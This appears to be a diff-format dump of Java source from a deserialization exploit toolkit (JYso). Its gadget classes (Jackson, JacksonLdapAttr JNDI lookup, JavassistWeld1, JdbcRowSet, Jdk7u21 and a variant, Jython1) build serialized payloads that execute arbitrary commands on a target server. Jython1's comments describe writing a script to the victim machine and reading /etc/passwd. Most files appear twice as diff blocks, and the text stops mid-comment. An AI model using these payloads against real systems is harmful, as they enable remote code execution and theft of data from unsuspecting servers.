new SuClassLoader(),SuClassLoader.class.getProtectionDomain()
).newInstance();
advisedSupport.setAdvisorChainFactory((AdvisorChainFactory) ctFactory);
Constructor<?> constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
return (InvocationHandler) constructor.newInstance(advisedSupport);
}
public static Object makeTemplatesImplAopProxy(String cmd) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(Gadgets.createTemplatesImpl(cmd));
InvocationHandler handler = setSuidSource(advisedSupport);
return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
}
public static Object makeDatasourceAopProxy(Object templatesImpl) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templatesImpl);
InvocationHandler handler = setSuidSource(advisedSupport);
return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{DataSource.class}, handler);
}
public static Object makeAopProxy(String singletonTargetSourceClassName, String advisedSupportClassName, String jdkDynamicAopProxy, Class superClass, Object targetObject) throws Exception {
Object singletonTargetSource = ThirdLibsClassLoader.loadClass_(singletonTargetSourceClassName).getConstructor(Object.class).newInstance(targetObject);
Class<?> advisedSupportClazz = ThirdLibsClassLoader.loadClass_(advisedSupportClassName);
Object advisedSupport = advisedSupportClazz.newInstance();
advisedSupportClazz.getMethod("setTarget", Object.class).invoke(advisedSupport, singletonTargetSource);
Constructor<?> constructor = ThirdLibsClassLoader.loadClass_(jdkDynamicAopProxy).getConstructor(advisedSupportClazz);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{superClass}, handler);
}
public static Object getEventListenerList(Object obj) throws Exception {
//>=6.1.0 为-7977902244297240866
//<=6.0.23为-5677132037850737084
String sUID1 = "7977902244297240866";
CtClass ctEventListenerList = insertField(
"javax.swing.event.EventListenerList",
"private static final long serialVersionUID = -" + sUID1 + "L;");
Object list = ctEventListenerList.toClass(
new SuClassLoader(),SuClassLoader.class.getProtectionDomain()
).newInstance();
//>=6.1.0 为-1045223116463488483
//<=6.0.23为-2077529998244066750
String sUID2 = "1045223116463488483";
CtClass ctUndoManager = insertField(
"javax.swing.undo.UndoManager",
"private static final long serialVersionUID = -" + sUID2 + "L;");
Object undomanager = ctUndoManager.toClass(
new SuClassLoader(),SuClassLoader.class.getProtectionDomain()
).newInstance();
//取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象,并把需要触发toString的类add进去。
Vector vector = (Vector) getFieldValue(undomanager, "edits");
vector.add(obj);
setFieldValue(list, "listenerList", new Object[]{Class.class, undomanager});
return list;
}
@Override
public Object getObject(final String command) throws Exception {
try {
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
} catch (Exception ignored) {
}
POJONode node = new POJONode(makeTemplatesImplAopProxy(command));
return getEventListenerList(node);
}
}
@@ -1,44 +1,44 @@
package com.qi4l.JYso.gadgets;
import com.fasterxml.jackson.databind.node.POJONode;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.sun.org.apache.xpath.internal.objects.XObject;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.util.HashMap;
import static com.qi4l.JYso.gadgets.Jackson3.makeTemplatesImplAopProxy;
//Jackson1链的JDK17改造
@SuppressWarnings({"rawtypes", "unchecked","unused"})
@Dependencies({"spring-apo:6.2.10"})
@Authors({Authors.QI4L})
public class Jackson4 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
try {
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
} catch (Exception ignored) {
}
POJONode node = new POJONode(makeTemplatesImplAopProxy(command));
XObject xString = new XString("foo");
HashMap<Object, Object> map1 = new HashMap();
HashMap<Object, Object> map2 = new HashMap();
map1.put("yy", node);
map1.put("zZ", xString);
map2.put("yy", xString);
map2.put("zZ", node);
return com.qi4l.JYso.gadgets.utils.Utils.makeMap(map1, map2);
}
}
package com.qi4l.JYso.gadgets;
import com.fasterxml.jackson.databind.node.POJONode;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.sun.org.apache.xpath.internal.objects.XObject;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.util.HashMap;
import static com.qi4l.JYso.gadgets.Jackson3.makeTemplatesImplAopProxy;
//Jackson1链的JDK17改造
@SuppressWarnings({"rawtypes", "unchecked","unused"})
@Dependencies({"spring-apo:6.2.10"})
@Authors({Authors.QI4L})
public class Jackson4 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
try {
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
} catch (Exception ignored) {
}
POJONode node = new POJONode(makeTemplatesImplAopProxy(command));
XObject xString = new XString("foo");
HashMap<Object, Object> map1 = new HashMap();
HashMap<Object, Object> map2 = new HashMap();
map1.put("yy", node);
map1.put("zZ", xString);
map2.put("yy", xString);
map2.put("zZ", node);
return com.qi4l.JYso.gadgets.utils.Utils.makeMap(map1, map2);
}
}
@@ -1,62 +1,62 @@
package com.qi4l.JYso.gadgets;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
import javax.management.BadAttributeValueExpException;
import javax.naming.CompositeName;
import javax.naming.directory.BasicAttribute;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
@SuppressWarnings({"rawtypes", "unchecked","unused"})
public class JacksonLdapAttr implements ObjectPayload<Object> {
private static final Logger log = LogManager.getLogger(JacksonLdapAttr.class);
@Override
public Object getObject(String command) throws Exception {
if (command.toLowerCase().startsWith("jndi:")) {
command = command.substring(5);
}
if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) {
throw new Exception("Command format is: [rmi|ldap]://host:port/obj");
}
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
try {
Class clazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
Constructor clazz_cons = clazz.getDeclaredConstructor(String.class);
clazz_cons.setAccessible(true);
BasicAttribute la = (BasicAttribute) clazz_cons.newInstance(new Object[]{"exp"});
Field bcu_fi = clazz.getDeclaredField("baseCtxURL");
bcu_fi.setAccessible(true);
bcu_fi.set(la, command);
CompositeName cn = new CompositeName();
cn.add("a");
cn.add("b");
Field rdn_fi = clazz.getDeclaredField("rdn");
rdn_fi.setAccessible(true);
rdn_fi.set(la, cn);
POJONode node = new POJONode(la);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, node);
return val;
} catch (Exception e) {
log.error("e: ", e);
}
return null;
}
}
package com.qi4l.JYso.gadgets;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
import javax.management.BadAttributeValueExpException;
import javax.naming.CompositeName;
import javax.naming.directory.BasicAttribute;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
@SuppressWarnings({"rawtypes", "unchecked","unused"})
public class JacksonLdapAttr implements ObjectPayload<Object> {
private static final Logger log = LogManager.getLogger(JacksonLdapAttr.class);
@Override
public Object getObject(String command) throws Exception {
if (command.toLowerCase().startsWith("jndi:")) {
command = command.substring(5);
}
if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) {
throw new Exception("Command format is: [rmi|ldap]://host:port/obj");
}
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
try {
Class clazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
Constructor clazz_cons = clazz.getDeclaredConstructor(String.class);
clazz_cons.setAccessible(true);
BasicAttribute la = (BasicAttribute) clazz_cons.newInstance(new Object[]{"exp"});
Field bcu_fi = clazz.getDeclaredField("baseCtxURL");
bcu_fi.setAccessible(true);
bcu_fi.set(la, command);
CompositeName cn = new CompositeName();
cn.add("a");
cn.add("b");
Field rdn_fi = clazz.getDeclaredField("rdn");
rdn_fi.setAccessible(true);
rdn_fi.set(la, cn);
POJONode node = new POJONode(la);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, node);
return val;
} catch (Exception e) {
log.error("e: ", e);
}
return null;
}
}
@@ -1,90 +1,90 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.jboss.weld.interceptor.builder.InterceptionModelBuilder;
import org.jboss.weld.interceptor.builder.MethodReference;
import org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory;
import org.jboss.weld.interceptor.proxy.InterceptorMethodHandler;
import org.jboss.weld.interceptor.reader.ClassMetadataInterceptorReference;
import org.jboss.weld.interceptor.reader.DefaultMethodMetadata;
import org.jboss.weld.interceptor.reader.ReflectiveClassMetadata;
import org.jboss.weld.interceptor.reader.SimpleInterceptorMetadata;
import org.jboss.weld.interceptor.spi.instance.InterceptorInstantiator;
import org.jboss.weld.interceptor.spi.metadata.InterceptorReference;
import org.jboss.weld.interceptor.spi.metadata.MethodMetadata;
import org.jboss.weld.interceptor.spi.model.InterceptionModel;
import java.lang.reflect.Constructor;
import java.util.*;
/*
by @matthias_kaiser
*/
@SuppressWarnings({"rawtypes", "unchecked","unused"})
@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final",
"javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
"org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"})
@Authors({Authors.MATTHIASKAISER})
public class JavassistWeld1 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
return get_chain(command, org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE, null);
}
static Object get_chain(
String command,
org.jboss.weld.interceptor.spi.model.InterceptionType POST_ACTIVATE,
org.jboss.interceptor.spi.model.InterceptionType POST_ACTIVATE1
) throws Exception {
Object tpl = Gadgets.createTemplatesImpl(command);
InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class);
ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class);
InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata);
Set s = new HashSet<>();
if (POST_ACTIVATE != null) {
s.add(POST_ACTIVATE);
} else {
s.add(POST_ACTIVATE1);
}
Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class);
Reflections.setAccessible(defaultMethodMetadataConstructor);
MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s,
MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true));
List list = new ArrayList();
list.add(methodMetadata);
Map hashMap = new HashMap<>();
if (POST_ACTIVATE != null) {
hashMap.put(POST_ACTIVATE, list);
} else {
hashMap.put(POST_ACTIVATE1, list);
}
SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap);
builder.interceptAll().with(simpleInterceptorMetadata);
InterceptionModel model = builder.build();
HashMap map = new HashMap();
map.put("qi4l", "qi4l");
DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory();
InterceptorInstantiator interceptorInstantiator = paramInterceptorReference -> tpl;
return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory);
}
}
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.jboss.weld.interceptor.builder.InterceptionModelBuilder;
import org.jboss.weld.interceptor.builder.MethodReference;
import org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory;
import org.jboss.weld.interceptor.proxy.InterceptorMethodHandler;
import org.jboss.weld.interceptor.reader.ClassMetadataInterceptorReference;
import org.jboss.weld.interceptor.reader.DefaultMethodMetadata;
import org.jboss.weld.interceptor.reader.ReflectiveClassMetadata;
import org.jboss.weld.interceptor.reader.SimpleInterceptorMetadata;
import org.jboss.weld.interceptor.spi.instance.InterceptorInstantiator;
import org.jboss.weld.interceptor.spi.metadata.InterceptorReference;
import org.jboss.weld.interceptor.spi.metadata.MethodMetadata;
import org.jboss.weld.interceptor.spi.model.InterceptionModel;
import java.lang.reflect.Constructor;
import java.util.*;
/*
by @matthias_kaiser
*/
@SuppressWarnings({"rawtypes", "unchecked","unused"})
@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final",
"javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
"org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"})
@Authors({Authors.MATTHIASKAISER})
public class JavassistWeld1 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
return get_chain(command, org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE, null);
}
static Object get_chain(
String command,
org.jboss.weld.interceptor.spi.model.InterceptionType POST_ACTIVATE,
org.jboss.interceptor.spi.model.InterceptionType POST_ACTIVATE1
) throws Exception {
Object tpl = Gadgets.createTemplatesImpl(command);
InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class);
ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class);
InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata);
Set s = new HashSet<>();
if (POST_ACTIVATE != null) {
s.add(POST_ACTIVATE);
} else {
s.add(POST_ACTIVATE1);
}
Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class);
Reflections.setAccessible(defaultMethodMetadataConstructor);
MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s,
MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true));
List list = new ArrayList();
list.add(methodMetadata);
Map hashMap = new HashMap<>();
if (POST_ACTIVATE != null) {
hashMap.put(POST_ACTIVATE, list);
} else {
hashMap.put(POST_ACTIVATE1, list);
}
SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap);
builder.interceptAll().with(simpleInterceptorMetadata);
InterceptionModel model = builder.build();
HashMap map = new HashMap();
map.put("qi4l", "qi4l");
DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory();
InterceptorInstantiator interceptorInstantiator = paramInterceptorReference -> tpl;
return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory);
}
}
@@ -1,11 +1,11 @@
package com.qi4l.JYso.gadgets;
import static com.qi4l.JYso.gadgets.ROMEJDBC.makeJNDIRowSet;
@SuppressWarnings({"unused"})
public class JdbcRowSet implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
return makeJNDIRowSet(command);
}
package com.qi4l.JYso.gadgets;
import static com.qi4l.JYso.gadgets.ROMEJDBC.makeJNDIRowSet;
@SuppressWarnings({"unused"})
public class JdbcRowSet implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
return makeJNDIRowSet(command);
}
}
+101 -101
View File
@@ -1,101 +1,101 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.JavaVersion;
import com.qi4l.JYso.gadgets.utils.Reflections;
import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.LinkedHashSet;
/**
* Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has
* the same JRE version requirements.
* <p>
* See: https://gist.github.com/frohoff/24af7913611f8406eaf3
* <p>
* Call tree:
* <p>
* LinkedHashSet.readObject()
* LinkedHashSet.add()
* ...
* TemplatesImpl.hashCode() (X)
* LinkedHashSet.add()
* ...
* Proxy(Templates).hashCode() (X)
* AnnotationInvocationHandler.invoke() (X)
* AnnotationInvocationHandler.hashCodeImpl() (X)
* String.hashCode() (0)
* AnnotationInvocationHandler.memberValueHashCode() (X)
* TemplatesImpl.hashCode() (X)
* Proxy(Templates).equals()
* AnnotationInvocationHandler.invoke()
* AnnotationInvocationHandler.equalsImpl()
* Method.invoke()
* ...
* TemplatesImpl.getOutputProperties()
* TemplatesImpl.newTransformer()
* TemplatesImpl.getTransletInstance()
* TemplatesImpl.defineTransletClasses()
* ClassLoader.defineClass()
* Class.newInstance()
* ...
* MaliciousClass.<clinit>()
* ...
* Runtime.exec()
*/
@SuppressWarnings({"rawtypes", "unchecked", "unused"})
@Dependencies()
@Authors({Authors.FROHOFF})
public class Jdk7u21 implements ObjectPayload<Object> {
public static boolean isApplicableJavaVersion() {
JavaVersion v = JavaVersion.getLocalVersion();
return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21));
}
public Object getObject(String command) throws Exception {
final Object templates;
templates = Gadgets.createTemplatesImpl(command);
// hashCode 为 0 的字符串
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
// 使用 AnnotationInvocationHandler 为 HashMap 创建动态代理
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) constructor.newInstance(Override.class, map);
// 反射写入 AnnotationInvocationHandler 的 type
Reflections.setFieldValue(tempHandler, "type", Templates.class);
// 为 Templates 创建动态代理
Templates proxy = (Templates) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{Templates.class}, tempHandler);
// LinkedHashSet 中放入 TemplatesImpl 以及动态代理类
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy);
// 反射将 _auxClasses 和 _class 修改为 null
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
// 向 map 中替换 tmpl 对象
map.put(zeroHashCodeStr, templates);
return set;
}
}
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.JavaVersion;
import com.qi4l.JYso.gadgets.utils.Reflections;
import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.LinkedHashSet;
/**
* Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has
* the same JRE version requirements.
* <p>
* See: https://gist.github.com/frohoff/24af7913611f8406eaf3
* <p>
* Call tree:
* <p>
* LinkedHashSet.readObject()
* LinkedHashSet.add()
* ...
* TemplatesImpl.hashCode() (X)
* LinkedHashSet.add()
* ...
* Proxy(Templates).hashCode() (X)
* AnnotationInvocationHandler.invoke() (X)
* AnnotationInvocationHandler.hashCodeImpl() (X)
* String.hashCode() (0)
* AnnotationInvocationHandler.memberValueHashCode() (X)
* TemplatesImpl.hashCode() (X)
* Proxy(Templates).equals()
* AnnotationInvocationHandler.invoke()
* AnnotationInvocationHandler.equalsImpl()
* Method.invoke()
* ...
* TemplatesImpl.getOutputProperties()
* TemplatesImpl.newTransformer()
* TemplatesImpl.getTransletInstance()
* TemplatesImpl.defineTransletClasses()
* ClassLoader.defineClass()
* Class.newInstance()
* ...
* MaliciousClass.<clinit>()
* ...
* Runtime.exec()
*/
@SuppressWarnings({"rawtypes", "unchecked", "unused"})
@Dependencies()
@Authors({Authors.FROHOFF})
public class Jdk7u21 implements ObjectPayload<Object> {
public static boolean isApplicableJavaVersion() {
JavaVersion v = JavaVersion.getLocalVersion();
return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21));
}
public Object getObject(String command) throws Exception {
final Object templates;
templates = Gadgets.createTemplatesImpl(command);
// hashCode 为 0 的字符串
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
// 使用 AnnotationInvocationHandler 为 HashMap 创建动态代理
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) constructor.newInstance(Override.class, map);
// 反射写入 AnnotationInvocationHandler 的 type
Reflections.setFieldValue(tempHandler, "type", Templates.class);
// 为 Templates 创建动态代理
Templates proxy = (Templates) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{Templates.class}, tempHandler);
// LinkedHashSet 中放入 TemplatesImpl 以及动态代理类
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy);
// 反射将 _auxClasses 和 _class 修改为 null
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
// 向 map 中替换 tmpl 对象
map.put(zeroHashCodeStr, templates);
return set;
}
}
@@ -1,49 +1,49 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import javax.xml.transform.Templates;
import java.lang.reflect.InvocationHandler;
import java.rmi.MarshalledObject;
import java.util.HashMap;
import java.util.LinkedHashSet;
import static com.qi4l.JYso.gadgets.utils.Utils.createProxy;
@SuppressWarnings({"rawtypes", "unchecked","unused"})
@Authors({"potats0"})
public class Jdk7u21variant implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
final Object templates;
templates = Gadgets.createTemplatesImpl(command);
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = createProxy(tempHandler, Templates.class);
LinkedHashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
map.put(zeroHashCodeStr, templates);
MarshalledObject marshalledObject = new MarshalledObject(set);
Reflections.setFieldValue(tempHandler, "type", MarshalledObject.class);
set = new LinkedHashSet(); // maintain order
set.add(marshalledObject);
set.add(proxy);
map.put(zeroHashCodeStr, marshalledObject); // swap in real object
return set;
}
}
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import javax.xml.transform.Templates;
import java.lang.reflect.InvocationHandler;
import java.rmi.MarshalledObject;
import java.util.HashMap;
import java.util.LinkedHashSet;
import static com.qi4l.JYso.gadgets.utils.Utils.createProxy;
@SuppressWarnings({"rawtypes", "unchecked","unused"})
@Authors({"potats0"})
public class Jdk7u21variant implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
final Object templates;
templates = Gadgets.createTemplatesImpl(command);
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = createProxy(tempHandler, Templates.class);
LinkedHashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
map.put(zeroHashCodeStr, templates);
MarshalledObject marshalledObject = new MarshalledObject(set);
Reflections.setFieldValue(tempHandler, "type", MarshalledObject.class);
set = new LinkedHashSet(); // maintain order
set.add(marshalledObject);
set.add(proxy);
map.put(zeroHashCodeStr, marshalledObject); // swap in real object
return set;
}
}
+100 -100
View File
@@ -1,100 +1,100 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.io.FileUtils;
import org.python.core.*;
import java.io.File;
import java.lang.reflect.Proxy;
import java.math.BigInteger;
import java.util.Arrays;
import java.util.Comparator;
import java.util.PriorityQueue;
/**
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
* <p>
* This version of Jython1 writes a python script on the victim machine and
* executes it. The format of the parameters is:
* <p>
* <local path>;<remote path>
* <p>
* Where local path is the python script's location on the attack box and
* remote path is the location where the script will be written/executed from.
* For example:
* <p>
* "/home/albino_lobster/read_etc_passwd.py;/tmp/jython1.py"
* <p>
* In the above example, if "read_etc_passwd.py" simply contained the string:
* <p>
* raise Exception(open('/etc/passwd', 'r').read())
* <p>
* Then, when deserialized, the script will read in /etc/passwd and raise an
* exception with its contents (which could be useful if the target returns
* exception information).
*/
@SuppressWarnings({"rawtypes", "unchecked","unused"})
@Dependencies({"org.python:jython-standalone:2.5.2"})
@Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711})
public class Jython1 implements ObjectPayload<PriorityQueue> {
public PriorityQueue getObject(String command) throws Exception {
String[] paths = command.split(":");
if (paths.length != 2) {
throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(paths));
}
// Set payload parameters
String python_code = FileUtils.readFileToString(new File(paths[0]), "UTF-8");
// Python bytecode to write a file on disk and execute it
String code =
"740000" + //0 LOAD_GLOBAL 0 (open)
"640100" + //3 LOAD_CONST 1 (remote path)
"640200" + //6 LOAD_CONST 2 ('w+')
"830200" + //9 CALL_FUNCTION 2
"7D0000" + //12 STORE_FAST 0 (file)
"7C0000" + //15 LOAD_FAST 0 (file)
"690100" + //18 LOAD_ATTR 1 (write)
"640300" + //21 LOAD_CONST 3 (python code)
"830100" + //24 CALL_FUNCTION 1
"01" + //27 POP_TOP
"7C0000" + //28 LOAD_FAST 0 (file)
"690200" + //31 LOAD_ATTR 2 (close)
"830000" + //34 CALL_FUNCTION 0
"01" + //37 POP_TOP
"740300" + //38 LOAD_GLOBAL 3 (execfile)
"640100" + //41 LOAD_CONST 1 (remote path)
"830100" + //44 CALL_FUNCTION 1
"01" + //47 POP_TOP
"640000" + //48 LOAD_CONST 0 (None)
"53"; //51 RETURN_VALUE
// Helping consts and names
PyObject[] consts = new PyObject[]{new PyString(""), new PyString(paths[1]), new PyString("w+"), new PyString(python_code)};
String[] names = new String[]{"open", "write", "close", "execfile"};
// Generating PyBytecode wrapper for our python bytecode
PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{"", ""}, "noname", "<module>", 0, "");
Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray());
// Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method
PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj);
// Prepare Trigger Gadget
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[]{1, 1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);
return priorityQueue;
}
}
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.io.FileUtils;
import org.python.core.*;
import java.io.File;
import java.lang.reflect.Proxy;
import java.math.BigInteger;
import java.util.Arrays;
import java.util.Comparator;
import java.util.PriorityQueue;
/**
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
* <p>
* This version of Jython1 writes a python script on the victim machine and
* executes it. The format of the parameters is:
* <p>
